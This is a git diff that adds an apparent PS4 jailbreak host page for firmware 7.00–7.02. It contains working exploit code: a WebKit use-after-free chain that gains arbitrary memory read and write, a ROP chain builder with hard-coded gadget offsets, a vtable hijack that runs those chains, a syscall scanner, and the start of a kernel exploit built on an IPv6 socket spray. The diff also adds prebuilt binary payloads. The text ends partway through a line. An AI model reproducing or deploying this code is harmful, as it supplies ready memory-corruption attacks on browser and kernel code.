s1.ab gets garbage collected and its underlying buffer + // on the fastMalloc heap is freed, another object could be + // allocated in the meantime. That object could be freed + // prematurely once the GC occurs. This could corrupt the object + // if another object is allocated in the same memory area. + // + // So we will keep s1 alive. + + return; + } + } + die('no arbitrary r/w'); +} + +// Don't create additional references to rstr, use the global variable. This +// is to make dropping all its references easy (change the value of the global +// variable). +async function triple_free( + save, + // contents of the leaked JSArrayBufferView + jsview, + view_leak_arr, + leaked_view_addr, +) { + const leaker = find_leaked_view(rstr, save.ab, jsview[2], view_leak_arr); + let r = new Reader(rstr, save.ab, leaker, leaked_view_addr); + const ssv_data = setup_ssv_data(r); + + // r contains a reference to rstr, drop it for setup_arw2() + r = null; + await setup_arw(save, ssv_data); +} + +function pop(event, save) { + let spray_res = check_spray(save.views); + if (spray_res === null) { + die('failed spray'); + } else { + save.pop = event; + save.ab = save.views[spray_res]; + debug_log('ssv len: ' + ssv_len); + debug_log('view index: ' + spray_res); + debug_log(save.ab); + } +} + +// For some reason the input element is being blurred by something else (we +// don't know what) if we execute use_after_free() before the DOMContentLoaded +// event fires. The input must only be blurred by history.back(), which will +// change the focus from the input to the foo element. +async function get_ready() { + debug_log('readyState: ' + document.readyState); + await new Promise((resolve, reject) => { + if (document.readyState === 'interactive' || document.readyState === 'complete') { + resolve(); + } + document.addEventListener('DOMContentLoaded', resolve, { once: true }); + }); +} + +async function run() { + debug_log('stage: readying'); + await get_ready(); + + debug_log('stage: UaF 1'); + await use_after_free(pop, s1); + // we trigger the leak first because it is more likely to work + // than if it were to happen during the second ssv smashing + // on the ps4 + debug_log('stage: double free'); + // * keeps setup_ar()'s total sleep even lower + // * also helps the garbage collector scheduling for 9.xx + await sleep(0); + await double_free(s1); + + debug_log('stage: triple free'); + await triple_free(s1, jsview, view_leak_arr, view_leak); + //clear_log(); + debug_log('WebKit Done, Jailbreaking...'); + setTimeout(stage2, 1000); +} +setTimeout(run, 500); \ No newline at end of file diff --git a/702L/ftp.bin b/702L/ftp.bin new file mode 100644 index 00000000..a44d4410 Binary files /dev/null and b/702L/ftp.bin differ diff --git a/702L/goldhen_2.2.2_702.bin b/702L/goldhen_2.2.2_702.bin new file mode 100644 index 00000000..d917a042 Binary files /dev/null and b/702L/goldhen_2.2.2_702.bin differ diff --git a/702L/goldhen_2.3_702.bin b/702L/goldhen_2.3_702.bin new file mode 100644 index 00000000..760e1b8f Binary files /dev/null and b/702L/goldhen_2.3_702.bin differ diff --git a/702L/index.html b/702L/index.html new file mode 100644 index 00000000..a743ddf0 --- /dev/null +++ b/702L/index.html @@ -0,0 +1,429 @@ + + +Karo Host Auto Exploit + PSFree Webkit Light Version 7.00 - 7.02 fw + + + + + + + + + + +

Karo Host Auto Exploit + PSFree Webkit Light Version 7.00 - 7.02 fw

+

Jailbreaking... Wait

+ +
+
+
Designed, Compiled by :   Karo Sharifi +



Super Special Thanks To :   Sleirsgoevy , Al Azif , ChendoChap , SiSTRo ,Specter ,Abc ,Znullptr ,hippie68 ... +
+
+ + \ No newline at end of file diff --git a/702L/int64.js b/702L/int64.js new file mode 100644 index 00000000..798cae36 --- /dev/null +++ b/702L/int64.js @@ -0,0 +1,328 @@ +// Taken from https://github.com/saelo/jscpwn/blob/master/int64.js +// +// Copyright (c) 2016 Samuel Groß +function int64(low, hi) { + this.low = (low >>> 0); + this.hi = (hi >>> 0); + + this.add32inplace = function (val) { + var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo < this.low) { + new_hi++; + } + + this.hi = new_hi; + this.low = new_lo; + } + + this.add32 = function (val) { + var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo < this.low) { + new_hi++; + } + + return new int64(new_lo, new_hi); + } + + this.sub32 = function (val) { + var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo > (this.low) & 0xFFFFFFFF) { + new_hi--; + } + + return new int64(new_lo, new_hi); + } + + this.add64 = function(val) { + var new_lo = (((this.low >>> 0) + val.low) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo > (this.low) & 0xFFFFFFFF) { + new_hi++; + } + new_hi = (((new_hi >>> 0) + val.hi) & 0xFFFFFFFF) >>> 0; + return new int64(new_lo, new_hi); + } + this.sub64 = function(val) { + var new_lo = (((this.low >>> 0) - val.low) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo > (this.low) & 0xFFFFFFFF) { + new_hi--; + } + new_hi = (((new_hi >>> 0) - val.hi) & 0xFFFFFFFF) >>> 0; + return new int64(new_lo, new_hi); + } + + this.sub32inplace = function (val) { + var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; + var new_hi = (this.hi >>> 0); + + if (new_lo > (this.low) & 0xFFFFFFFF) { + new_hi--; + } + + this.hi = new_hi; + this.low = new_lo; + } + + this.and32 = function (val) { + var new_lo = this.low & val; + var new_hi = this.hi; + return new int64(new_lo, new_hi); + } + + this.and64 = function (vallo, valhi) { + var new_lo = this.low & vallo; + var new_hi = this.hi & valhi; + return new int64(new_lo, new_hi); + } + + this.toString = function (val) { + val = 16; + var lo_str = (this.low >>> 0).toString(val); + var hi_str = (this.hi >>> 0).toString(val); + + if (this.hi == 0) + return lo_str; + else + lo_str = zeroFill(lo_str, 8) + + return hi_str + lo_str; + } + + this.toPacked = function () { + return { + hi: this.hi, + low: this.low + }; + } + + this.setPacked = function (pck) { + this.hi = pck.hi; + this.low = pck.low; + return this; + } + + return this; +} + +function zeroFill(number, width) { + width -= number.toString().length; + + if (width > 0) { + return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number; + } + + return number + ""; // always return a string +} +function Int64(low, high) { + var bytes = new Uint8Array(8); + + if (arguments.length > 2 || arguments.length == 0) + throw TypeError("Incorrect number of arguments to constructor"); + if (arguments.length == 2) { + if (typeof low != 'number' || typeof high != 'number') { + throw TypeError("Both arguments must be numbers"); + } + if (low > 0xffffffff || high > 0xffffffff || low < 0 || high < 0) { + throw RangeError("Both arguments must fit inside a uint32"); + } + low = low.toString(16); + for (let i = 0; i < 8 - low.length; i++) { + low = "0" + low; + } + low = "0x" + high.toString(16) + low; + } + + switch (typeof low) { + case 'number': + low = '0x' + Math.floor(low).toString(16); + case 'string': + if (low.substr(0, 2) === "0x") + low = low.substr(2); + if (low.length % 2 == 1) + low = '0' + low; + var bigEndian = unhexlify(low, 8); + var arr = []; + for (var i = 0; i < bigEndian.length; i++) { + arr[i] = bigEndian[i]; + } + bytes.set(arr.reverse()); + break; + case 'object': + if (low instanceof Int64) { + bytes.set(low.bytes()); + } else { + if (low.length != 8) + throw TypeError("Array must have excactly 8 elements."); + bytes.set(low); + } + break; + case 'undefined': + break; + } + + // Return a double whith the same underlying bit representation. + this.asDouble = function () { + // Check for NaN + if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) + throw new RangeError("Can not be represented by a double"); + + return Struct.unpack(Struct.float64, bytes); + }; + + this.asInteger = function () { + if (bytes[7] != 0 || bytes[6] > 0x20) { + debug_log("SOMETHING BAD HAS HAPPENED!!!"); + throw new RangeError( + "Can not be represented as a regular number"); + } + return Struct.unpack(Struct.int64, bytes); + }; + + // Return a javascript value with the same underlying bit representation. + // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) + // due to double conversion constraints. + this.asJSValue = function () { + if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[ + 6] == 0xff)) + throw new RangeError( + "Can not be represented by a JSValue"); + + // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. + return Struct.unpack(Struct.float64, this.sub(0x1000000000000).bytes()); + }; + + // Return the underlying bytes of this number as array. + this.bytes = function () { + var arr = []; + for (var i = 0; i < bytes.length; i++) { + arr.push(bytes[i]) + } + return arr; + }; + + // Return the byte at the given index. + this.byteAt = function (i) { + return bytes[i]; + }; + + // Return the value of this number as unsigned hex string. + this.toString = function () { + var arr = []; + for (var i = 0; i < bytes.length; i++) { + arr.push(bytes[i]) + } + return '0x' + hexlify(arr.reverse()); + }; + + this.low32 = function () { + return new Uint32Array(bytes.buffer)[0] >>> 0; + }; + + this.hi32 = function () { + return new Uint32Array(bytes.buffer)[1] >>> 0; + }; + + this.equals = function (other) { + if (!(other instanceof Int64)) { + other = new Int64(other); + } + for (var i = 0; i < 8; i++) { + if (bytes[i] != other.byteAt(i)) + return false; + } + return true; + }; + + this.greater = function (other) { + if (!(other instanceof Int64)) { + other = new Int64(other); + } + if (this.hi32() > other.hi32()) + return true; + else if (this.hi32() === other.hi32()) { + if (this.low32() > other.low32()) + return true; + } + return false; + }; + // Basic arithmetic. + // These functions assign the result of the computation to their 'this' object. + + // Decorator for Int64 instance operations. Takes care + // of converting arguments to Int64 instances if required. + function operation(f, nargs) { + return function () { + if (arguments.length != nargs) + throw Error("Not enough arguments for function " + f.name); + var new_args = []; + for (var i = 0; i < arguments.length; i++) { + if (!(arguments[i] instanceof Int64)) { + new_args[i] = new Int64(arguments[i]); + } else { + new_args[i] = arguments[i]; + } + } + return f.apply(this, new_args); + }; + } + + this.neg = operation(function neg() { + var ret = []; + for (var i = 0; i < 8; i++) + ret[i] = ~this.byteAt(i); + return new Int64(ret).add(Int64.One); + }, 0); + + this.add = operation(function add(a) { + var ret = []; + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = this.byteAt(i) + a.byteAt(i) + carry; + carry = cur > 0xff | 0; + ret[i] = cur; + } + return new Int64(ret); + }, 1); + + this.assignAdd = operation(function assignAdd(a) { + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = this.byteAt(i) + a.byteAt(i) + carry; + carry = cur > 0xff | 0; + bytes[i] = cur; + } + return this; + }, 1); + + + this.sub = operation(function sub(a) { + var ret = []; + var carry = 0; + for (var i = 0; i < 8; i++) { + var cur = this.byteAt(i) - a.byteAt(i) - carry; + carry = cur < 0 | 0; + ret[i] = cur; + } + return new Int64(ret); + }, 1); +} + +// Constructs a new Int64 instance with the same bit representation as the provided double. +Int64.fromDouble = function (d) { + var bytes = Struct.pack(Struct.float64, d); + return new Int64(bytes); +}; + +// Some commonly used numbers. +Int64.Zero = new Int64(0); +Int64.One = new Int64(1); +Int64.NegativeOne = new Int64(0xffffffff, 0xffffffff); \ No newline at end of file diff --git a/702L/ps4debug.bin b/702L/ps4debug.bin new file mode 100644 index 00000000..10125fb0 Binary files /dev/null and b/702L/ps4debug.bin differ diff --git a/702L/rop.js b/702L/rop.js new file mode 100644 index 00000000..78710542 --- /dev/null +++ b/702L/rop.js @@ -0,0 +1,322 @@ +const stack_sz = 0x40000; +const reserve_upper_stack = 0x8000; +const stack_reserved_idx = reserve_upper_stack / 4; + + +// Class for quickly creating and managing a ROP chain +window.rop = function () { + this.stackback = p.malloc32(stack_sz / 4 + 0x8); + this.stack = this.stackback.add32(reserve_upper_stack); + this.stack_array = this.stackback.backing; + this.retval = this.stackback.add32(stack_sz); + this.count = 1; + this.branches_count = 0; + this.branches_rsps = p.malloc(0x200); + + this.clear = function () { + this.count = 1; + this.branches_count = 0; + + for (var i = 1; i < ((stack_sz / 4) - stack_reserved_idx); i++) { + this.stack_array[i + stack_reserved_idx] = 0; + } + }; + + this.pushSymbolic = function () { + this.count++; + return this.count - 1; + } + + this.finalizeSymbolic = function (idx, val) { + if (val instanceof int64) { + this.stack_array[stack_reserved_idx + idx * 2] = val.low; + this.stack_array[stack_reserved_idx + idx * 2 + 1] = val.hi; + } else { + this.stack_array[stack_reserved_idx + idx * 2] = val; + this.stack_array[stack_reserved_idx + idx * 2 + 1] = 0; + } + } + + this.push = function (val) { + this.finalizeSymbolic(this.pushSymbolic(), val); + } + + this.push_write8 = function (where, what) { + this.push(gadgets["pop rdi"]); + this.push(where); + this.push(gadgets["pop rsi"]); + this.push(what); + this.push(gadgets["mov [rdi], rsi"]); + } + + this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) { + if (rdi != undefined) { + this.push(gadgets["pop rdi"]); + this.push(rdi); + } + + if (rsi != undefined) { + this.push(gadgets["pop rsi"]); + this.push(rsi); + } + + if (rdx != undefined) { + this.push(gadgets["pop rdx"]); + this.push(rdx); + } + + if (rcx != undefined) { + this.push(gadgets["pop rcx"]); + this.push(rcx); + } + + if (r8 != undefined) { + this.push(gadgets["pop r8"]); + this.push(r8); + } + + if (r9 != undefined) { + this.push(gadgets["pop r9"]); + this.push(r9); + } + + this.push(rip); + return this; + } + + this.call = function(rip, rdi, rsi, rdx, rcx, r8, r9) { + this.fcall(rip, rdi, rsi, rdx, rcx, r8, r9); + this.write_result(this.retval); + this.run(); + return p.read8(this.retval); + } + + this.syscall = function(sysc, rdi, rsi, rdx, rcx, r8, r9) { + return this.call(window.syscalls[sysc], rdi, rsi, rdx, rcx, r8, r9); + } + + //get rsp of the next push + this.get_rsp = function () { + return this.stack.add32(this.count * 8); + } + this.write_result = function (where) { + this.push(gadgets["pop rdi"]); + this.push(where); + this.push(gadgets["mov [rdi], rax"]); + } + this.write_result4 = function (where) { + this.push(gadgets["pop rdi"]); + this.push(where); + this.push(gadgets["mov [rdi], eax"]); + } + + //use this in loops. + this.syscall_safe = function (sysc, rdi, rsi, rdx, rcx, r8, r9) { + if (rdi != undefined) { + this.push(gadgets["pop rdi"]); + this.push(rdi); + } + + if (rsi != undefined) { + this.push(gadgets["pop rsi"]); + this.push(rsi); + } + + if (rdx != undefined) { + this.push(gadgets["pop rdx"]); + this.push(rdx); + } + + if (rcx != undefined) { + this.push(gadgets["pop rcx"]); + this.push(rcx); + } + + if (r8 != undefined) { + this.push(gadgets["pop r8"]); + this.push(r8); + } + + if (r9 != undefined) { + this.push(gadgets["pop r9"]); + this.push(r9); + } + var sysc_restore = this.get_rsp(); + this.push(window.syscalls[sysc]); + this.push_write8(sysc_restore, window.syscalls[sysc]); + } + this.jmp_rsp = function (rsp) { + this.push(window.gadgets["pop rsp"]); + this.push(rsp); + } + + this.create_equal_branch = function (value_addr, compare_value) { + var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10); + this.branches_count++; + + this.push(window.gadgets["pop rax"]); + this.push(0); + this.push(window.gadgets["pop rcx"]); + this.push(value_addr); + this.push(window.gadgets["pop rdi"]); + this.push(compare_value); + this.push(window.gadgets["cmp [rcx], edi"]); + this.push(window.gadgets["setne al"]); + this.push(window.gadgets["shl rax, 3"]); + this.push(window.gadgets["pop rdx"]); + this.push(branch_addr_spc); + this.push(window.gadgets["add rax, rdx"]); + this.push(window.gadgets["mov rax, [rax]"]); + this.push(window.gadgets["pop rdi"]); + var a = this.pushSymbolic(); + this.push(window.gadgets["mov [rdi], rax"]); + this.push(window.gadgets["pop rsp"]); + var b = this.get_rsp(); + this.push(0x41414141); + + this.finalizeSymbolic(a, b); + + return branch_addr_spc; + + } + this.create_greater_branch = function (value_addr, compare_value) { + var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10); + this.branches_count++; + + this.push(window.gadgets["pop rax"]); + this.push(0); + this.push(window.gadgets["pop rcx"]); + this.push(value_addr); + this.push(window.gadgets["pop rdi"]); + this.push(compare_value); + this.push(window.gadgets["cmp [rcx], edi"]); + this.push(window.gadgets["setle al"]); + this.push(window.gadgets["shl rax, 3"]); + this.push(window.gadgets["pop rdx"]); + this.push(branch_addr_spc); + this.push(window.gadgets["add rax, rdx"]); + this.push(window.gadgets["mov rax, [rax]"]); + this.push(window.gadgets["pop rdi"]); + var a = this.pushSymbolic(); + this.push(window.gadgets["mov [rdi], rax"]); + this.push(window.gadgets["pop rsp"]); + var b = this.get_rsp(); + this.push(0x41414141); + + this.finalizeSymbolic(a, b); + + return branch_addr_spc; + } + this.create_greater_or_equal_branch = function (value_addr, compare_value) { + var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10); + this.branches_count++; + + this.push(window.gadgets["pop rax"]); + this.push(0); + this.push(window.gadgets["pop rcx"]); + this.push(value_addr); + this.push(window.gadgets["pop rdi"]); + this.push(compare_value); + this.push(window.gadgets["cmp [rcx], edi"]); + this.push(window.gadgets["setl al"]); + this.push(window.gadgets["shl rax, 3"]); + this.push(window.gadgets["pop rdx"]); + this.push(branch_addr_spc); + this.push(window.gadgets["add rax, rdx"]); + this.push(window.gadgets["mov rax, [rax]"]); + this.push(window.gadgets["pop rdi"]); + var a = this.pushSymbolic(); + this.push(window.gadgets["mov [rdi], rax"]); + this.push(window.gadgets["pop rsp"]); + var b = this.get_rsp(); + this.push(0x41414141); + + this.finalizeSymbolic(a, b); + + return branch_addr_spc; + } + this.create_lesser_branch = function (value_addr, compare_value) { + var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10); + this.branches_count++; + + this.push(window.gadgets["pop rax"]); + this.push(0); + this.push(window.gadgets["pop rcx"]); + this.push(value_addr); + this.push(window.gadgets["pop rdi"]); + this.push(compare_value); + this.push(window.gadgets["cmp [rcx], edi"]); + this.push(window.gadgets["setge al"]); + this.push(window.gadgets["shl rax, 3"]); + this.push(window.gadgets["pop rdx"]); + this.push(branch_addr_spc); + this.push(window.gadgets["add rax, rdx"]); + this.push(window.gadgets["mov rax, [rax]"]); + this.push(window.gadgets["pop rdi"]); + var a = this.pushSymbolic(); + this.push(window.gadgets["mov [rdi], rax"]); + this.push(window.gadgets["pop rsp"]); + var b = this.get_rsp(); + this.push(0x41414141); + + this.finalizeSymbolic(a, b); + + return branch_addr_spc; + } + this.create_lesser_or_equal_branch = function (value_addr, compare_value) { + var branch_addr_spc = this.branches_rsps.add32(this.branches_count * 0x10); + this.branches_count++; + + this.push(window.gadgets["pop rax"]); + this.push(0); + this.push(window.gadgets["pop rcx"]); + this.push(value_addr); + this.push(window.gadgets["pop rdi"]); + this.push(compare_value); + this.push(window.gadgets["cmp [rcx], edi"]); + this.push(window.gadgets["setg al"]); + this.push(window.gadgets["shl rax, 3"]); + this.push(window.gadgets["pop rdx"]); + this.push(branch_addr_spc); + this.push(window.gadgets["add rax, rdx"]); + this.push(window.gadgets["mov rax, [rax]"]); + this.push(window.gadgets["pop rdi"]); + var a = this.pushSymbolic(); + this.push(window.gadgets["mov [rdi], rax"]); + this.push(window.gadgets["pop rsp"]); + var b = this.get_rsp(); + this.push(0x41414141); + + this.finalizeSymbolic(a, b); + + return branch_addr_spc; + } + this.set_branch_points = function (branch_addr_sp, rsp_condition_met, rsp_condition_not_met) { + p.write8(branch_addr_sp.add32(0x0), rsp_condition_met); + p.write8(branch_addr_sp.add32(0x8), rsp_condition_not_met); + } + this.spawn_thread = function(name, chain_setup) { + var new_thr = new rop(); + var context = p.malloc(0x100); + + p.write8(context.add32(0x0), window.gadgets["ret"]); + p.write8(context.add32(0x10), new_thr.stack); + new_thr.push(window.gadgets["ret"]); + chain_setup(new_thr); + + var retv = function () { + chain.call(libKernelBase.add32(OFFSET_lk_pthread_create_name_np), context.add32(0x48), 0, libSceLibcInternalBase.add32(OFFSET_libcint_longjmp), context, p.stringify(name)); + } + window.nogc.push(new_thr); + window.nogc.push(context); + + return retv; + } + + this.run = function () { + p.launch_chain(this); + this.clear(); + } + + return this; +}; \ No newline at end of file diff --git a/702L/userland.js b/702L/userland.js new file mode 100644 index 00000000..da42e402 --- /dev/null +++ b/702L/userland.js @@ -0,0 +1,892 @@ +var p; +var chain; +var nogc = []; +var webKitBase; +var libSceLibcInternalBase; +var libKernelBase; + +const OFFSET_WK_vtable_first_element = 0x009A6040; +const OFFSET_WK_memset_import = 0x00002458; +const OFFSET_WK___stack_chk_fail_import = 0x00002438; +const OFFSET_WK_setjmp_gadget_one = 0x006D81F5; +const OFFSET_WK_setjmp_gadget_two = 0x00288F83; +const OFFSET_WK_longjmp_gadget_one = 0x006D81F5; +const OFFSET_WK_longjmp_gadget_two = 0x00288F83; + + + +const OFFSET_libcint_memset = 0x000507D0; +const OFFSET_libcint_setjmp = 0x000BE39C; +const OFFSET_libcint_longjmp = 0x000BE3F6; + +const OFFSET_lk___stack_chk_fail = 0x00012AD0; +const OFFSET_lk_pthread_create_name_np = 0x0001BB10; +const OFFSET_lk_pthread_exit = 0x00019FD0; +const OFFSET_lk_pthread_self = 0x0001D160; +const OFFSET_lk_pthread_setschedparam = 0x0002AD70; + +var syscalls = {}; +var gadgets = {}; +var gadgetmap = { + "ret": 0x0000003C, + "pop rdi": 0x0000835D, + "pop rsi": 0x0003C987, + "pop rdx": 0x00052B23, + "pop rcx": 0x00026AFB, + "pop r8": 0x00097D32, + "pop r9": 0x005C6A81, + "pop rax": 0x0001FA68, + "pop rsp": 0x00078C62, + + "mov [rdi], rax": 0x000203E9, + "mov [rdi], eax": 0x00020148, + "mov [rdi], rsi": 0x000359F0, + "cmp [rcx], edi": 0x0010DA31, + + "setne al": 0x00009000, + "sete al": 0x0001E0C4, + "setle al": 0x000CA7F6, + "setl al": 0x005955AC, + "setge al": 0x0061B262, + "setg al": 0x000E4A37, + "shl rax, 3": 0x005E8953, + "add rax, rdx": 0x003D498C, + "mov rax, [rax]": 0x0002E852, + "inc dword [rax]": 0x003628DB, + "infpoop": 0x0001386A +}; + +var textArea = document.createElement("textarea"); + +function stage2() { + p = window.prim; + p.launch_chain = launch_chain; + p.malloc = malloc; + p.malloc32 = malloc32; + p.stringify = stringify; + p.readString = readString; + p.array_from_address = array_from_address; + + //pointer to vtable address + var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18)); + //address of vtable + var textAreaVtable = p.read8(textAreaVtPtr); + //use address of 1st entry (in .text) to calculate webkitbase + webKitBase = p.read8(textAreaVtable).sub32(OFFSET_WK_vtable_first_element); + + libSceLibcInternalBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK_memset_import))); + libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset); + + libKernelBase = p.read8(get_jmptgt(webKitBase.add32(OFFSET_WK___stack_chk_fail_import))); + libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail); + + for (var gadget in gadgetmap) { + window.gadgets[gadget] = webKitBase.add32(gadgetmap[gadget]); + } + + function get_jmptgt(address) { + var instr = p.read4(address) & 0xFFFF; + var offset = p.read4(address.add32(2)); + if (instr != 0x25FF) { + return 0; + } + return address.add32(0x6 + offset); + } + + function malloc(sz) { + var backing = new Uint8Array(0x10000 + sz); + window.nogc.push(backing); + var ptr = p.read8(p.leakval(backing).add32(0x10)); + ptr.backing = backing; + return ptr; + } + + function malloc32(sz) { + var backing = new Uint8Array(0x10000 + sz * 4); + window.nogc.push(backing); + var ptr = p.read8(p.leakval(backing).add32(0x10)); + ptr.backing = new Uint32Array(backing.buffer); + return ptr; + } + + function array_from_address(addr, size) { + var og_array = new Uint32Array(0x1000); + var og_array_i = p.leakval(og_array).add32(0x10); + + p.write8(og_array_i, addr); + p.write4(og_array_i.add32(8), size); + //p.write4(og_array_i.add32(0xC), 0x1); + + nogc.push(og_array); + return og_array; + } + + function stringify(str) { + var bufView = new Uint8Array(str.length + 1); + for (var i = 0; i < str.length; i++) { + bufView[i] = str.charCodeAt(i) & 0xFF; + } + window.nogc.push(bufView); + return p.read8(p.leakval(bufView).add32(0x10)); + } + function readString(addr) + { + var byte = p.read4(addr); + var str = ""; + var i = 0; + while (byte & 0xFF) + { + str += String.fromCharCode(byte & 0xFF); + byte = p.read4(addr.add32(i)); + i++; + } + return str; + } + + + + var fakeVtable_setjmp = p.malloc32(0x200); + var fakeVtable_longjmp = p.malloc32(0x200); + var original_context = p.malloc32(0x40); + var modified_context = p.malloc32(0x40); + + p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp); + p.write8(fakeVtable_setjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_setjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] + p.write8(fakeVtable_setjmp.add32(0x10), original_context); + p.write8(fakeVtable_setjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_setjmp)); + p.write8(fakeVtable_setjmp.add32(0x1D8), webKitBase.add32(OFFSET_WK_setjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] + + p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp); + p.write8(fakeVtable_longjmp.add32(0xA8), webKitBase.add32(OFFSET_WK_longjmp_gadget_two)); // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8] + p.write8(fakeVtable_longjmp.add32(0x10), modified_context); + p.write8(fakeVtable_longjmp.add32(0x8), libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); + p.write8(fakeVtable_longjmp.add32(0x1D8), webKitBase.add32(OFFSET_WK_longjmp_gadget_one)); // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8] + + function launch_chain(chain) { + + chain.push(window.gadgets["pop rdi"]); + chain.push(original_context); + chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)); + + p.write8(textAreaVtPtr, fakeVtable_setjmp); + textArea.scrollLeft = 0x0; + p.write8(modified_context.add32(0x00), window.gadgets["ret"]); + p.write8(modified_context.add32(0x10), chain.stack); + p.write8(modified_context.add32(0x40), p.read8(original_context.add32(0x40))) + + p.write8(textAreaVtPtr, fakeVtable_longjmp); + textArea.scrollLeft = 0x0; + p.write8(textAreaVtPtr, textAreaVtable); + } + + var kview = new Uint8Array(0x1000); + var kstr = p.leakval(kview).add32(0x10); + var orig_kview_buf = p.read8(kstr); + + p.write8(kstr, window.libKernelBase); + p.write4(kstr.add32(8), 0x40000); + var countbytes; + + for (var i = 0; i < 0x40000; i++) { + if (kview[i] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c && kview[i + 3] == 0x6f && kview[i + 4] == 0x63) { + countbytes = i; + break; + } + } + p.write4(kstr.add32(8), countbytes + 32); + var dview32 = new Uint32Array(1); + var dview8 = new Uint8Array(dview32.buffer); + for (var i = 0; i < countbytes; i++) { + if (kview[i] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 && kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca && kview[i + 10] == 0x0f && kview[i + 11] == 0x05) { + dview8[0] = kview[i + 3]; + dview8[1] = kview[i + 4]; + dview8[2] = kview[i + 5]; + dview8[3] = kview[i + 6]; + var syscallno = dview32[0]; + window.syscalls[syscallno] = window.libKernelBase.add32(i); + } + } + p.write8(kstr, orig_kview_buf); + chain = new rop(); + if (chain.syscall(23, 0).low != 0x0) { + try { + stage3(); + } catch (e) { + alert(e); + } + } + + jbdone(); +} + +function stage3() { + + const AF_INET6 = 28; + const SOCK_DGRAM = 2; + const IPPROTO_UDP = 17; + const IPPROTO_IPV6 = 41; + const IPV6_TCLASS = 61; + const IPV6_2292PKTOPTIONS = 25; + const IPV6_RTHDR = 51; + const IPV6_PKTINFO = 46; + + const SPRAY_TCLASS = 0x53; + const TAINT_CLASS = 0x58; + const TCLASS_MASTER = 0x2AFE0000; + + const PKTOPTS_PKTINFO_OFFSET = 0x10; + const PKTOPTS_RTHDR_OFFSET = 0x68; + const PKTOPTS_TCLASS_OFFSET = 0xB0; + + const PROC_UCRED_OFFSET = 0x40; + const PROC_FILEDESC_OFFSET = 0x48; + const PROC_PID_OFFSET = 0xB0; + + + const FILE_FOPS_OFFSET = 0x8; + const FILEOPS_IOCTL_OFFSET = 0x18; + const VM_MAP_PMAP_OFFSET = 0x120; + + const KERNEL_M_IP6OPT_OFFSET = 0x1A7AEA0; + const KERNEL_MALLOC_OFFSET = 0x301840; + const KERNEL_ALLPROC_OFFSET = 0x1B48318; + const KERNEL_PMAP_STORE_OFFSET = 0x22C5268; + + const NUM_SPRAY_SOCKS = 200; + const NUM_LEAK_SOCKS = 200; + const NUM_SLAVE_SOCKS = 300; + + const size_of_triggered = 0x8; + const size_of_valid_pktopts = 0x18; + const size_of_size_of_tclass = 0x8; + const size_of_master_main_tclass = 0x8; + const size_of_master_thr1_tclass = 0x8; + const size_of_master_thr2_tclass = 0x8; + const size_of_spray_tclass = 0x8; + const size_of_taint_tclass = 0x8; + const size_of_tmp_tclass = 0x8; + const size_of_rthdr_buffer = 0x800; + const size_of_ptr_size_of_rthdr_buffer= 0x8; + const size_of_spray_socks = 0x4 * NUM_SPRAY_SOCKS; + const size_of_leak_socks = 0x4 * NUM_LEAK_SOCKS; + const size_of_slave_socks = 0x4 * NUM_SLAVE_SOCKS; + const size_of_spray_socks_tclasses = 0x4 * NUM_SPRAY_SOCKS; + const size_of_pktinfo_buffer = 0x18; + const size_of_pktinfo_buffer_len = 0x8; + const size_of_find_slave_buffer = 0x8 * NUM_SLAVE_SOCKS + 0x10; + const size_of_fake_socketops = 0x58; + const size_of_loop_counter = 0x8; + const size_of_fix_these_sockets = 0x4 * (NUM_SPRAY_SOCKS + NUM_LEAK_SOCKS + NUM_SLAVE_SOCKS + 0x2) + 0x18; + const var_memory = p.malloc(size_of_triggered + size_of_valid_pktopts + size_of_size_of_tclass + size_of_master_main_tclass + size_of_master_thr1_tclass + size_of_master_thr2_tclass + size_of_spray_tclass + size_of_taint_tclass + size_of_tmp_tclass + + size_of_rthdr_buffer + size_of_ptr_size_of_rthdr_buffer+ size_of_spray_socks + size_of_leak_socks + size_of_slave_socks + size_of_spray_socks_tclasses + size_of_pktinfo_buffer + size_of_pktinfo_buffer_len + size_of_find_slave_buffer + size_of_fake_socketops + size_of_loop_counter + + size_of_fix_these_sockets + ); + + const triggered = var_memory; + const valid_pktopts = triggered.add32(size_of_triggered); + const size_of_tclass = 